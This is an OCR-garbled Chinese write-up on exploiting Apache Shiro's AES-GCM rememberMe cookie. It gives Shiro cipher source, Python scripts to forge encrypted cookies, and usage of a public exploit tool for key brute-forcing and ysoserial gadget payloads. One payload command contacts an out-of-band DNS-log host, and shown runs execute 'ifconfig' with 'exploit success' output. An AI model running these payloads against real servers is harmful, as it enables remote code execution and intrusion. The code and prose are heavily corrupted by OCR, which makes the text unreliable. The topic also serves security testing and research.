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AesCipherService FIZERIMNE SR AES-GCM, Padding 3 None

GCM BT, *MIFRRTENFTEZRMN, AXSEXEERENKE

public class AesCipherService extends DefaultBlockCipherService {
private static final String ALGORITHM_NAME = "AES";

public AesCipherService() {
super("AES™);
this.setMode(OperationMode.GCM);
this.setStreamingMode(OperationMode.GCM);



this.setPaddingScheme(PaddingScheme .NONE);

protected AlgorithmParameterSpec createParameterSpec(byte[] iv, boolean streaming) {
return (AlgorithmParameterSpec)((!streaming || !OperationMode.GCM.name().equals(thi

s.getStreamingModeName())) && (streaming |1 !OperationMode.GCM.name().equals(this.getModeNa
me())) ? super.createParameterSpec(iv, streaming) : new GCMParameterSpec(this.getKeySize(),

iv));

IR ER 75 ARISLHN7E JecaCipherService

Encrypt

public ByteSource encrypt(byte[] plaintext, byte[] key) {
byte[] ivBytes = null;
boolean generate = this.isGenerateInitializationVectors(false);
if (generate) {
ivBytes = this.generateInitializationVector(false);
if (ivBytes == null || ivBytes.length == 0) {
throw new IllegalStateException("Initialization vector generation is enable
d - generated vector cannot be null or empty.");

}

return this.encrypt(plaintext, key, ivBytes, generate);

RISERK ivBytes

initializationVectorSize y\j 128 ’%‘Bjﬁﬂ‘ﬂ,i}ﬂ?, 16 1ﬁE"\] |vBytes



protected byte[] generatelnitializationVector(boolean streaming) {
int size = this.getInitializationVectorSize();

String msg;
if (size <= 0) {
msg = "initializationVectorSize property must be greater than zero. This numbe

r is typically set in the " + CipherService.class.getSimpleName() + " subclass constructor.
Also check your configuration to ensure that if you are setting a value, it is positive.";
throw new IllegalStateException(msg);
} else if (size % 8 '=0) {
msg = "initializationVectorSize property must be a multiple of 8 to represent a
s a byte array.";
throw new IllegalStateException(msg);
} else {
int sizeInBytes = size / 8;
byte[] ivBytes = new byte[sizeInBytes];
SecureRandom random = this.ensureSecureRandom();
random.nextBytes(ivBytes);
return ivBytes;

ZIEERANESNERGIERITINEG

private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) thro
ws CryptoException {

int MODE = true;
byte[] output;
if (prependIv &% iv != null && iv.length > @) {
byte[] encrypted = this.crypt(plaintext, key, iv, 1);
output = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, output, @, iv.length);
System.arraycopy(encrypted, @, output, iv.length, encrypted.length);
} else {
output = this.crypt(plaintext, key, iv, 1);

if (log.isTraceEnabled()) {

Taa +racel"Tncomina nlAainyavdy AfF cia2e " 4+ (nlAainyavd: I— nit11 2?2 nlAaitnyavd 1eana+-h
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+ (output != null ? output.length : 0));

: @) +". C(iphertext byte array is size

}

return Util.bytes(Coutput);
}

Decrypt

iv B9ER{E: MEEXTFTKER 16 FHERN iv

P2

16 F1 ZEHIRABIENE XGHITIER

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
byte[] encrypted = ciphertext;
byte[] iv = null;
if (this.isGeneratelInitializationVectors(false)) {
try {
int ivSize = this.getInitializationVectorSize();
int ivByteSize = ivSize / 8;
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception var8) {

String msg = "Unable to correctly extract the Initialization Vector or ciph
ertext.";
throw new CryptoException(msg, vard);
3
3
return this.decrypt(encrypted, key, iv);
i

private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException

{
if (log.isTraceEnabled()) {

Toa trace("Attembtina to decrvbt incomina bvte arrav of lenath " + (ciphertext



!= null ? ciphertext.length : 0));
b

byte[] decrypted = this.crypt(ciphertext, key, iv, 2);
return decrypted == null ? null : Util.bytes(decrypted);

private Cipher newCipherInstance(boolean streaming) throws CryptoException {
String transformationString = this.getTransformationString(streaming);

try {
return Cipher.getInstance(transformationString);
} catch (Exception var5) {
String msg = "Unable to acquire a Java JCA Cipher instance using

n

+ Cipher.cla

ss.getName() + ".getInstance( \"" + transformationString + "\" ). " + this.getAlgorithmName
(O + " under this configuration is required for the " + this.getClass().getName() + " insta
nce to function.";

throw new CryptoException(msg, var5);

3
}
AR R M
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BEARIE TINRZ A, BEEENZRININER Python BIANIN 2 S 8EYS 1E = MNEZEN ]
https://github.com/Ares—X/shiro—exploit/blob/master/ndecode.py
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from Crypto.Cipher import AES
def decode(s):
global key
BS AES .block_size
mode AES .MODE_GCM

cipher=base64.b64decode(s)

iv=cipher[0:16]

enc=cipher[16:-16]

tag=cipher[-16:]

decryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext=decryptor.decrypt_and_verify(enc,tag)
print("decode_plaintext:")

print(plaintext)
baseb4_plaintext=base64.bb64encode(plaintext).decode()
print ("\nbase64_plaintext:\n"+base64_plaintext+"\n")

return base64_plaintext

IS

REMZEEIL N aes—gecm, BEHAERL 16 i iv, {F encrypt and digest HERNEXH tag, &
iv + B3 + tag base64 fmigia Al NRER rememberMe AR

import os,base64,uuid
from Crypto.Cipher import AES
def encode(p):

global key

BS = AES.block_size
mode = AES.MODE_GCM
iv = wuuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body=base64.b64decode(p)
enc,tag=encryptor.encrypt_and_digest(file_body)
baseb4_ciphertext = baseb64.bb4encode(iv + enc + tag)
print("Encode_result:")

print(base64_ciphertext)

print("\n")

return baseb4_ciphertext



MK B principal S RELEEESIRIE] deleteMe:

—[aresx@AresX-Mac.local]-[~/tools/exp/shiro] <master*>
“—> python3 ndecode.py

Encode_result:

b'2aFmeBbUSYOtYPz4N1wX8yppHpBI6OOSEQAS2 swUxzszuUcOrzwQnhX0Yz314DxjZIcMP2uoD4rgNATxvQYDXmFgx
JOFnPUdwsK8t3zrH8sHwaWFb@ONJcACv2wY9Fa@XPTVO70KpLzaA3LieBNMD4HgnhzCgBsABLBI183BD2a90cWtJA8ws
sI90dRpN4BIbUiwmNZMaFreVWf{fZdf9+jEn0JBQc+Z290fPhsSqeFuZf0TjsL9pL6VgNb+hxGre91FgxGgPy+zZmWFv/
n/dz6qiBdVgnP7M2qSj5KezTGEA5/YhpoFawSFABqC7Tr90gnw9dFTr(Ci6PcwJOUDE16rp9iZRbROrsBcIfe4INulp5
uopxvclLGsA2Y2dKC8xa8Eel PX+UZOUFeW4s+4MUACOE72QwG1mRep7TdXArkBwI2jgdSbT1OHtB7ibXbPUqTue+00fh
W5aM9cSjQDvQcMn1 cFFdPsGxFVE1K3aXn9Q4DwBXhssdKEZVjv1XEINBMESkQ=="

Request Response
I E Params | Headers | Hex ; I Headers | Hex ] Render
text/html,application/xhtml+xml,application/xml;q=0.9,imag 4 1 HTTP/1.1 200 OK ]
e/avif,image/webp,image/apng,*/*;g=0.8,application/signed- 2 Connection: close
exchange;v=b3;q=0.9 3 Date: Sun, 25 Oct 2020 17:03:36 GMT
7 Sec-Fetch-Site: same-origin 4 Set-Cookie: JSESSIONID=990dlc04-3ab3-4338-97bd-75329196a85¢
8 Sec-Fetch-Mode: navigate 5 Content-Type: text/html;charset=utf-§
9 Sec-Fetch-User: 71 6 Content-Length: 938
10 Sec-Fetch-Dest: document 7 Server: Jetty(9.4.27.v20200227)
11 Referer: http://127.0.0.1:9080/login.jsp 8
12 Accept-Encoding: gzip, deflate 9
13 Accept-Language: zh-CN,zh;g=0.9 10
14 Cookie: rememberMe= 11
2aFmeBbUSYOtYPz4N1wX8yppHpBI6005E0AS2swlUxzszulcOrzwOnhX0Yz 12
3i4Dxj2JcMP2uoD4rgNAfxvQYDXmFgxJ0FnPUdwsK8t3zrH8sHwaWFbONT | 13
cACv2wY9Fa0XPTVO7oKpLzaA3LieBNMD4HqnhzCgBsABLBIi83BD2a%0cW 14
tJABwssI90dRpM4ABIbUiwmNZMaFreVWE f2df9+JEnOJBQc+290£fPhsSqgeF 15
uZfOTjsLIpLEVgNb+hxGred1FgxGgPy+zZmWFv/n/dz6giBdVgnP7M2gS] 16 <html>
S5KezTGEAS/Yhp6FawSFABgC7Tr90gnw9dFTrCi6PcwIOUDEL 6rp9iZRbRO 17  <head>
rsBeJfed JHulpSuopxveLGsA2Y2dKC8xa8EeLPX+UZ0UFeWd s+4MUACOET 18 <link type="text/css” rel="stylesheet” href="/style.csg
20wG1mRep7TAXArkBwI2jgdSbT10HtB7 ibXbPUgTue+00 fhWSaM9cS QDY 19 <title>
QeMnleFFAPSGXFVE1K3aXn904DwBXhssdKEZViv1XEINBMESkQ==] Apache Shiro Quickstart
15 x-forwarded-for: 127.0.0.1 </title>
16 x-originating-ip: 127.0.0.1 20 </head>
17 x-remote-ip: 127.0.0.1 21  <bedy> * R rh —
18 x-remote-addr: 127.0.0.1 22 W '.’;‘[E.j_‘ OATrOtoar
19 Connection: close 23 <hl> Ean AR L e e Pelbd ozl
20 W, Apache Shiro Quickstart |
21 ' i J -

HMATAH

BT ZHIR shiro—exploit
https://github.com/Ares—X/shiro—exploit

BREISZF ;T shiro AES-GCM INZ& 7 AU EF AR key



SFAREBDREFE=TFAES:

v BEIFHERE shiro BIARAS, CBC MNZKRZS Version 75 1, GCM INEKRZS Version A 2
(BRI&FN GCM) WA IEEEIAR 1

-u BENENE payload KIXZZEIEE url, WMAIETE url FEHiL base64 HiIB/EHY payload BT
FIFA

-x BEIPIHETE shiro MNEAFTAR key, WMAIEERBERAIIA
key kPH+bIxk5D2deZilxcaaalA== EH@EQY#%‘EBE’\J key *E*ﬁ%ﬁiA key

WEBS ysoerial [FRBEERIAFEN yso_path HIIRRIEEAHIIINA ysoserial.jar
Shiro key #&ill, &% dnslog F&

&K Shiro key, WAIEEIRA —v 4% B = IH M MhRAHIR

python3 shiro-exploit.py check -u http://xxx/

5{38E Shiro ARAs

python3 shiro-exploit.py check -u http://xxx/ -v 2

SREVIETE key 9 check £X3E

python3 shiro-exploit.py check -k <key>

w3 / REFIMLEIEIES payload

python3 shiro-exploit.py encode -s ./cookie.ser -u http://xxx/

$XEY Payload RIBNA

I T PR T PR (LA T [ . Y



PY LHUNO SITLTUTCTAPLULL.PYy ClIILvuct -5 ./ LUURKLC.SCT

Bt & ysoserial £ 5% Payload

£ Payload &xZ BHiniRS 23

python3 shiro-exploit.py yso -g CommomsCollections6 -c "curl xxx.dnslog.cn" -u http://xxxx/
$XEY Payload RIBNA

python3 shiro-exploit.py yso -g CommomsCollectionsé -c "curl xxx.dnslog.cn"

4 R E R Payload

ANE T xray B9 6 £ tomcat B 5%, BRAIEERER gadget FIIHEIE base64 RIBEETT
1PN

%ﬁiAﬁ%\\ whoami , ﬂEﬂE}ﬂZE/\] Payload E"] header EF'{@EQ testcmd RT_I'MV\]%Q-
K& xray i 6 5% tomcat [E E 8%

[CommonsCollectionsl/CommonsCollections2/CommonsBeanutilsl/CommonsBeanutils2/Jdk7u21/Jdk8u2

0]

python3 shiro-exploit.py echo -g CommomsCollectionsl

Ki%[EI] Payload, AJ3§E Command

AEE command EKIAN whoami

python3 shiro-exploit.py echo -g CommomsCollectionsl -u http://127.0.0.1:8080/1ogin -c ifco
nfig

“—> python3 shiro-exploit.py echo -g CommonsCollectionsl -u http://127.0.0.1:9080/1login -c

ne o ~AAAR"



bl

Congratulation: exploit success

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
link/1loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host 1o

valid_1ft forever preferred_l1ft forever
2: tunl@@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default glen 1000
link/ipip 0.0.0.0 brd 0.0.0.0
3: ip6tnl@@NONE: <NOARP> mtu 1452 qdisc noop state DOWN group default qlen 1000
link/tunnel6 :: brd ::

19: eth0@if20@: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc noqueue state UP group defa
ult

link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff

inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_1ft forever preferred_l1ft forever

K EEThR AES-GCM N2 shiro
B xR & FThARAY ruoyiCMS

“—> python3 shiro-exploit.py echo -g CommonsCollectionsl -u http://127.0.0.1 -v 2 -k zSyK5K
p6PZAAj1lT+eeNMlg== -c ifconfig

Congratulation: exploit success

1o@: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
options=1203<RXCSUM, TXCSUM, TXSTATUS , SW_TIMESTAMP>
inet 127.0.0.1 netmask @Oxff000000
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0@ prefixlen 64 scopeid 0x1
nd6 options=201<PERFORMNUD,DAD>

gif0@: flags=8010<POINTOPOINT,MULTICAST> mtu 1280

stf@: flags=0<> mtu 1280

apl: flags=8802<BROADCAST,SIMPLEX,MULTICAST> mtu 1500
options=400<CHANNEL_IO>
ether 3a:81:7f:08:7b:ce
media: autoselect

status: inactive



1 Congratulation RBAFERE, /ARG ITERAUBERNGLBIR, BEHRGMIH
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